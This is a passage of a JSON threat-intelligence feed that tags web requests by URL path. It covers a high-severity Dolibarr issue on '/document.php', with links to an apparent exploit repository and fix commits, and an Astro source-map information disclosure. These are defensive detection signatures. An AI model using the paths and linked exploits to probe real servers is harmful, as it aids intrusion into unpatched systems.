Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-13T23:02:46.320004+00:00"}